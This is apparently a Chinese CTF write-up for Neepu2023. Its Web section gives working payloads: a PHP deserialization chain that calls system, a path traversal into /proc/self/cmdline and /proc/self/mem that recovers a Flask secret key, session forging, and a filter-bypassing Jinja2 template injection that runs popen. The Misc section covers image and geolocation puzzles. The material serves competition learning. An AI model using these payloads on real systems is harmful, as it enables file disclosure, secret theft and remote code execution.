本文最后更新于:2023年6月5日 下午
[TOC]
Neepu2023
Web
ezphp
进去后一片空白,抓包看看:
php7.4.21版本,有一个源码泄露漏洞 PHP<=7.4.21 Development Server源码泄露漏洞
我们构造这样的请求:
但是不知道为什么没回显,必须改成这样:后面需要加一个东西
获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <?php class one{ public function __call($name,$ary) { if ($this->key === true||$this->finish1->name) { if ($this->finish->finish){ call_user_func($this->now[$name],$ary[0]); } } } public function neepuctf(){ $this->now=0; return $this->finish->finish; } public function __wakeup(){ $this->key=True; } } class two{ private $finish; public $name; public function __get($value){
return $this->$value=$this->name[$value]; }
}
class three{ public function __destruct() { if($this->neepu->neepuctf()||!$this->neepu1->neepuctf()){ $this->fin->NEEPUCTF($this->rce,$this->rce1); }
} } class four{ public function __destruct() { if ($this->neepu->neepuctf()){ $this->fin->NEEPUCTF1($this->rce,$this->rce1); }
} public function __wakeup(){ $this->key=false; } } class five{ public $finish; private $name;
public function __get($name) { return $this->$name=$this->finish[$name]; } }
$a=$_POST["neepu"]; if (isset($a)){ unserialize($a); }
|
仔细分析一下,其实three、five是没有使用到的。
在php中,如果一个类没有声明成员变量,我们是可以给一个不存在的成员变量赋值的
这一题就是这个情况,我们直接构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $f = new four(); $f->rce = "cat /flag"; $f->rce1 = ""; $a = new one(); $a->finish->finish = true; $f->neepu = $a; $b = new one(); $b->key=true; $b->finish->finish=true; $b->now['NEEPUCTF1'] = "system"; $f->fin = $b; echo serialize($f);
O:4:"four":4:{s:3:"rce";s:9:"cat /flag";s:4:"rce1";s:0:"";s:5:"neepu";O:3:"one":1:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}s:3:"fin";O:3:"one":3:{s:3:"key";b:1;s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}s:3:"now";a:1:{s:9:"NEEPUCTF1";s:6:"system";}}}
|
Cute Cirno & Cute Cirno (Revenge)
预期解
首先查看源码:
发现一个读文件的路由,根据数据包可知,这是python编写的
在Linux系统中,**/proc/self/cmdline是一个特殊的文件,它提供了当前进程的命令行参数信息。**
在Linux中,/proc是一个虚拟文件系统,提供了访问系统内核和进程信息的接口。**/proc/self是一个符号链接,它指向当前正在执行的进程的目录。因此,/proc/self/cmdline实际上指向了当前进程的命令行参数信息。**
我们读取 /proc/self/cmdline
获取命令行信息:
1
| http://neepusec.fun:28912/r3aDF1le?filename=../../../proc/self/cmdline
|
返回了一个文件路径,有一个CuteCirno.py
文件
当我们访问一个不存在的路径时
我们发现报错了,于是读取这两个文件:
CuteCirno.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from flask import Flask, request, session, render_template, render_template_string import os, base64 from NeepuFile import neepu_files
CuteCirno = Flask(__name__, static_url_path='/static', static_folder='static' )
CuteCirno.config['SECRET_KEY'] = str(base64.b64encode(os.urandom(30)).decode()) + "*NeepuCTF*"
@CuteCirno.route('/') def welcome(): session['admin'] = 0 return render_template('welcome.html')
@CuteCirno.route('/Cirno') def show(): return render_template('CleverCirno.html')
@CuteCirno.route('/r3aDF1le') def file_read(): filename = "static/text/" + request.args.get('filename', 'comment.txt') start = request.args.get('start', "0") end = request.args.get('end', "0") return neepu_files(filename, start, end)
@CuteCirno.route('/genius') def calculate(): if session.get('admin') == 1: print(session.get('admin')) answer = request.args.get('answer') if answer is not None: blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess', 'posix', 'builtins', 'namespace','open', 'read', '\\', 'self', 'mro', 'base', 'global', 'init', '/','00', 'chr', 'value', 'get', "url", 'pop', 'import', 'include','request', '{{', '}}', '"', 'config','='] for i in blacklist: if i in answer: answer = "⑨" +"""</br><img src="static/woshibaka.jpg" width="300" height="300" alt="Cirno">""" break if answer == '': return "你能告诉聪明的⑨, 1+1的answer吗" return render_template_string("1+1={}".format(answer)) else: return render_template('mathclass.html')
else: session['admin'] = 0 return "你真的是我的马斯塔吗?"
if __name__ == '__main__': CuteCirno.run('0.0.0.0', 5000, debug=True)
|
观察一下这个文件,发现 SECRET_KEY
是使用随机数生成的
/genius
路由会检查session,所以这一题需要我们伪造session,然后绕过过滤进行ssti
NeepuFile.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import os
def neepu_files(filename, start=0, end=0) -> bytes: data = b''
try: start = int(start) end = int(end)
except: start = 0 end = 0
if filename != "" and os.access(filename, os.R_OK): f = open(filename, "rb")
if start >= 0: f.seek(start) if end >= start and end != 0: data = f.read(end - start)
else: data = f.read()
else: data = f.read()
f.close()
else: data = ("File `%s` not exist or can not be read" % filename).encode()
return data
|
该文件是用来读取文件内容的,并且可以指定读取的起始地址
然后我们需要思考突破点,我们怎样才能得到key呢,这个是随机产生的,我们不可能猜出来。
我们需要寻找其他办法,前面我们使用了 /proc/self/cmdline
获取当前进程的命令行信息。
这里我们需要知道:/proc/self/maps
和 /proc/self/mem
在Linux系统中,**/proc/self/maps是一个特殊文件,它提供了当前进程的内存映射信息。**
在Linux中,/proc是一个虚拟文件系统,提供了访问系统内核和进程信息的接口。/proc/self是一个符号链接,指向当前正在执行的进程的目录。因此,**/proc/self/maps实际上指向了当前进程的内存映射信息。**
该文件包含了当前进程的内存映射区域的详细信息,包括起始地址、结束地址、访问权限、偏移量、设备号、文件路径等。每一行对应于一个内存映射区域,
1
| 55bac9dcb000-55bac9dcd000 r--p 00000000 08:01 533672 /usr/bin/cat
|
代表什么意思
55bac9dcb000-55bac9dcd000
: 这是内存区域的起始地址和结束地址。该区域从0x55bac9dcb000到0x55bac9dcd000。
r--p
: 这表示内存区域的访问权限。在这种情况下,该区域只允许读取(read)操作。
00000000
: 这是该内存区域在文件中的偏移量。在这种情况下,偏移量为0。
08:01
: 这是指与该内存区域相关联的设备号和节点号。设备号为08,节点号为01。
/usr/bin/cat
: 这是映射到该内存区域的文件的路径。在这种情况下,该区域是由/usr/bin/cat
文件映射而来。
综上所述,该行表示了一个只读权限的内存区域,它是由/usr/bin/cat
文件映射而来。
根据上面的描述, /proc/self/maps
记录了当前进程的内存映射的相关信息,根据这些信息我们可以找到对应的内存空间
在Linux系统中,**/proc/self/mem是一个特殊文件,它提供了对当前进程内存的直接访问。**
在Linux中,/proc是一个虚拟文件系统,提供了访问系统内核和进程信息的接口。/proc/self是一个符号链接,指向当前正在执行的进程的目录。因此,/proc/self/mem实际上指向了当前进程的内存。
通过读取和写入/proc/self/mem文件,可以直接对当前进程的内存进行操作。这包括读取和修改进程的内存内容,可以用于调试、分析或修改进程的运行时状态。
但是需要注意的是,/proc/self/mem文件的访问权限通常非常受限制。只有具有足够权限的用户或特权进程才能访问该文件。此外,对于一个普通的应用程序来说,直接读取或写入/proc/self/mem文件通常是不必要且危险的操作。
我们也知道了 /proc/self/mem
文件 ,可以对当前进程内存进行访问。
总结一下,就是根据 /proc/self/maps
提供的内存地址映射信息找到 /proc/self/mem
相应的内存块
由于我们不知道key,但是由于程序在运行时,会将部分信息存入内存中,所以我们只需要找到内存中带有: *NeepuCTF*
字样的字符串取出来就是SECRET_KEY
了
我们编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
|
import requests import re
url = "http://neepusec.fun:28912/r3aDF1le?filename=../../../" def maps():
req = requests.get(url=url + "/proc/self/maps") text = req.text ls = text.split("\n") pattern = "([0-9a-z]+)-([0-9a-z]+) rw" for l in ls: map_addr = re.match(pattern,l) if map_addr: start = int(map_addr.group(1), 16) end = int(map_addr.group(2), 16) mem_url = url + "/proc/self/mem&start="+str(start)+"&end="+str(end) requ = requests.get(url=mem_url) if "*NeepuCTF*" in requ.text: mem_pattern = b"[A-Za-z0-9+/=]{40}\*NeepuCTF\*" key = re.findall(mem_pattern, requ.content) print("Secret Key: " + bytes.decode(key[0])) break
if __name__ == "__main__": maps()
|
解释一下这个脚本的意思:
首先获得maps文件的值,然后分隔成列表,进行遍历。
1 2
| pattern = "([0-9a-z]+)-([0-9a-z]+) rw"
|
当匹配到时,if条件为真,将group(1)、group(2)分别转为10进制(代表内存的首末地址)
然后根据地址读取mem文件的值,如果内存中包含指定字符串就打印出key
然后我们就可以进行session伪造了,但是由于等会需要进行ssti(但是过滤了很多)
1 2 3 4
| blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess', 'posix', 'builtins', 'namespace','open', 'read', '\\', 'self', 'mro', 'base', 'global', 'init', '/','00', 'chr', 'value', 'get', "url", 'pop', 'import', 'include','request', '{{', '}}', '"', 'config','=']
|
这里有两种写法:
法一:(字符串拼接)不推荐,很难拼
法二:
这里session是可控的,所以我们可以把需要的字符串先存入session中,然后在ssti时从session中取值
{%print(session)%}
这样可以把session的值打印出来
我在这里学到了新的东西,jinja2的字符串可以进行字符串切片
首先我们需要把session
转为字符串,我们使用string过滤器
这样就可以打印出session中的一段值了
首先使用脚本构造flask session:(这里我们把ssti需要使用的字符串也构造到session中了)
1 2 3
| python flask_session_cookie_manager3.py encode -s "bxdQy9DN6FiCBXhNZFm3YwAgJ+Mn4+mRFiI0sYEP*NeepuCTF*" -t "{'/readflag': 0, '__globals__': 0, 'admin': 1, 'os': 0,'popen': 0, 'read': 0}"
.eJyrVtIvSk1MSctJTFeyMtBRio9Pz8lPSswpjo8H8xNTcjPzlKwMdZTyi8ECBfkFqXlgFkgfkFELAMoaFFg.ZG5POw.jWk5AQmFaC172YwAbMbUXlICmm4
|
如图,我们将session变量的值打印出来了,其中包含我们可以利用的字符串
接下来我们只需要构造如下ssti即可:
1
| {%print(lipsum["__globals__"]["os"]["popen"]("/readflag")["read"]())%}
|
结合session的payload:
1
| {%print(lipsum[(session|string)[39:50]][(session|string)[69:71]][(session|string)[78:83]]((session|string)[23:32])[(session|string)[24:28]]())%}
|
非预期解:
由于题目开启了debug,并且可以任意文件读取,所以我们可以伪造debug界面的pin然后命令执行:
Misc
吉林第一站
吉林第一站,猜一猜我在哪里拍摄的吧!
风景1:三个字
风景2:三个字
风景3:六个字
flag内请填拼音,小写字母
flag格式:Neepu{风景1_风景2_风景3}
社工题
风景1:朱雀山
风景二:松花湖
风景三:东北电力大学
使用百度识图
flag就是用配音拼起来
重生之我是CTFer
玩游戏
倒影
zsteg发现 DNEI
,
然后也发现了GNP
是一张逆转的图片
反转一下:
1 2 3 4
| f=open("C://Users/LIKE/Desktop/1.png", "rb") fw=open("C://Users/LIKE/Desktop/2.png", "wb") data = f.read()[::-1] fw.write(data)
|
得到另一张图片:
两种图片一模一样,是盲水印:
得到flag: